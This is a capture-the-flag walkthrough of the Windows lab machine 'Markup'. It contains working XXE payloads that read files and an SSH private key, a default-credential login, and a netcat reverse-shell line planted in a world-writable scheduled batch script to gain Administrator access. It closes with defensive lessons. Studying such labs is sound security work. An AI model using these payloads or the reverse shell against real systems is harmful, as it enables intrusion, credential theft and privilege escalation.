Markup
A MegaShopping web app accepts weak default credentials and parses user-supplied XML without protection, so an XXE payload reads arbitrary files from the host — including Daniel's SSH private key, which gives a foothold over SSH. A scheduled batch script, job.bat, is world-writable, so overwriting it with a netcat reverse-shell command and waiting for the task to fire returns a shell as Administrator.
TL;DR
Markup is an Easy-difficulty Windows machine exploring XML External Entity (XXE) injection, insecure file permissions, and a misconfigured scheduled task. A MegaShopping web application accepts weak default credentials and parses user-supplied XML without protection, letting an XXE payload read arbitrary files from the host — including Daniel’s SSH private key, which grants a foothold over SSH. For privilege escalation, a scheduled batch script (job.bat) is world-writable, so overwriting it with a netcat reverse-shell command and waiting for the task to fire returns a shell as Administrator.
| Machine | OS | Difficulty | Target IP | Pwnbox IP |
|---|---|---|---|---|
| Markup | Windows | Easy | 10.129.95.192 | 10.10.15.144 |
Enumeration
We begin with a service and script scan against the target:
nmap -sCV 10.129.95.192The scan returns SSH on 22 and HTTP/HTTPS on 80 and 443, all served from a Windows host:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-11 04:04 ESTNmap scan report for 10.129.95.192Host is up (0.091s latency).Not shown: 997 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)| ssh-hostkey:| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)| 256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)|_ 256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)|_http-title: MegaShopping|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)|_http-title: MegaShopping| ssl-cert: Subject: commonName=localhost| Not valid before: 2009-11-10T23:48:47|_Not valid after: 2019-11-08T23:48:47|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 30.57 secondsWe open the web application at http://10.129.95.192 and are greeted by a MegaShopping login page:

Foothold
Logging in with default credentials
Trying a handful of common username/password combinations, the weak default pair admin / password is accepted, and we land on the store dashboard:

Finding the XML endpoint
Exploring the site, the Order tab accepts user input. Viewing the page source shows the order is submitted as an XML 1.0 document:

A form that parses user-supplied XML is a prime candidate for XXE injection. We intercept an order submission in Burp Suite and see the POST to process.php carries an XML body:
<?xml version = "1.0"?><order><quantity>1</quantity><item>Home Appliances</item><address>test address</address></order>Confirming XXE
We send the request to Burp’s Repeater and replace the body with a payload that declares an external entity pointing at a known Windows file, then references it inside the item field:
<?xml version = "1.0"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'> ]><order><quantity>1</quantity><item>&xxe;</item><address>test address</address></order>The response echoes the contents of win.ini back to us, confirming the XML parser resolves external entities:
Your order for ; for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1[Ports]COM1:=9600,n,8,1 has been processedReading Daniel’s SSH key
We could read files endlessly, but we need a lead on a useful target. The order page’s source contains a developer comment naming a user:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Goods & Services</title> <!-- Modified by Daniel : UI-Fix-9092--> <style>[SKIP]There is likely a user named Daniel, and since port 22 is open, his SSH private key is worth trying. We point the external entity at Daniel’s id_rsa:
<?xml version = "1.0"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'> ]><order><quantity>1</quantity><item>&xxe;</item><address>test address</address></order>The response returns the full private key:
-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----User
We save the key to a file named id_rsa on the Pwnbox and tighten its permissions, which SSH requires:
chmod 600 id_rsaThen we authenticate as daniel using the key:
ssh -i id_rsa daniel@10.129.95.192We land a shell on the target:
Microsoft Windows [Version 10.0.17763.107](c) 2018 Microsoft Corporation. All rights reserved.
daniel@MARKUP C:\Users\daniel>The user flag is on Daniel’s Desktop:
type Desktop\user.txt032*****************************Privilege Escalation
A non-standard directory
Listing the root of C:\, a non-standard Log-Management folder stands out alongside the usual Windows directories:
daniel@MARKUP C:\>dir Volume in drive C has no label. Volume Serial Number is BA76-B4E3
Directory of C:\
03/12/2020 02:56 AM <DIR> Log-Management09/14/2018 11:12 PM <DIR> PerfLogs07/28/2021 01:01 AM <DIR> Program Files09/14/2018 11:21 PM <DIR> Program Files (x86)07/28/2021 02:38 AM 0 Recovery.txt03/05/2020 04:40 AM <DIR> Users07/28/2021 01:16 AM <DIR> Windows03/05/2020 09:15 AM <DIR> xampp 1 File(s) 0 bytes 7 Dir(s) 7,386,722,304 bytes freeInside it is a single batch script, job.bat:
daniel@MARKUP C:\>dir Log-Management Volume in drive C has no label. Volume Serial Number is BA76-B4E3
Directory of C:\Log-Management
03/12/2020 02:56 AM <DIR> .03/12/2020 02:56 AM <DIR> ..03/06/2020 01:42 AM 346 job.bat 1 File(s) 346 bytes 2 Dir(s) 7,386,722,304 bytes freeInspecting the scheduled script
We read the contents of the script:
type Log-Management\job.bat@echo offFOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%VIF (%adminTest%)==(Access) goto noAdminfor /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")echo.echo Event Logs have been cleared!goto theEnd:do_clearwevtutil.exe cl %1goto :eof:noAdminecho You must run this script as an Administrator!:theEndexitThe script checks for Administrator privileges, enumerates every Windows Event Log, and clears each one. The Administrator check tells us it is intended to run as an elevated user — a strong hint that it runs as a scheduled task.
Confirming the task runs
schtasks reveals nothing at our privilege level (INFO: There are no scheduled tasks presently available at your access level.), so we drop into PowerShell:
powershellRunning ps and looking for the helper the script invokes (wevtutil) confirms it is actively running — evidence the batch file is being executed on a schedule:
[SKIP] 209 12 1960 9716 3728 1 taskhostw 167 11 2924 10724 1668 0 VGAuthService 138 10 2316 8124 1084 1 vm3dservice 364 22 9088 21208 1632 0 vmtoolsd 32 4 516 1596 3544 1 wevtutil 170 11 1440 6944 480 0 wininit 259 12 2432 11372 544 1 winlogon 315 15 7236 16428 2932 0 WmiPrvSEChecking the script’s permissions
We exit PowerShell and inspect the ACL on job.bat:
icacls job.batjob.bat BUILTIN\Users:(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 filesBUILTIN\Users:(F) grants the Users group Full control. Since Daniel is a member of Users, he can overwrite the script — and because the task runs as Administrator, whatever we write will run with those privileges.
Weaponizing the script
We need a netcat binary on the target. The box has no internet access, so we download nc64.exe on the Pwnbox and copy it over with scp (the SSH key still works):
wget https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exescp -i id_rsa ./nc64.exe daniel@10.129.95.192:"C:/Log-Management"Back in Daniel’s shell, dir confirms nc64.exe is in place. We start a listener on the Pwnbox:
nc -lvnp 9001Then we overwrite job.bat with a command that fires a reverse shell back to us:
echo "C:\Log-Management\nc64.exe 10.10.15.144 9001 -e cmd.exe" > C:\Log-Management\job.batCatching the Administrator shell
When the scheduled task next fires, it executes our modified script and connects back. The listener catches a shell running as Administrator, and we read the root flag:
type C:\Users\Administrator\Desktop\root.txtf57*****************************Default creds admin / password log into MegaShopping → the Order form parses user XML → XXE reads c:/users/daniel/.ssh/id_rsa → SSH in as daniel → world-writable scheduled script C:\Log-Management\job.bat → overwrite it with an nc64.exe reverse shell → task runs it as Administrator.
Lessons Learned
- Disable external entities in XML parsers. The Order endpoint parsed user-supplied XML with entity resolution enabled, so a crafted
<!ENTITY ... SYSTEM 'file:///...'>read arbitrary files, including an SSH private key. Configure parsers to reject DOCTYPE declarations and external entities, and validate input against a strict schema. - Never ship default or guessable credentials.
admin/passwordopened the application outright. Force a credential change on first use, enforce password strength, and rate-limit or lock out repeated login attempts. - Lock down permissions on scheduled scripts.
job.batran as Administrator but was writable by all Users, turning a routine log-clearing task into a privilege-escalation path. Scripts executed by privileged scheduled tasks should be writable only by administrators, and ideally stored outside user-accessible paths. - Protect private keys. Daniel’s SSH key sat at a predictable path and was readable through the file-disclosure bug. Keep keys off web-reachable hosts where arbitrary read is possible, protect them with a passphrase, and rotate any key that may have been exposed.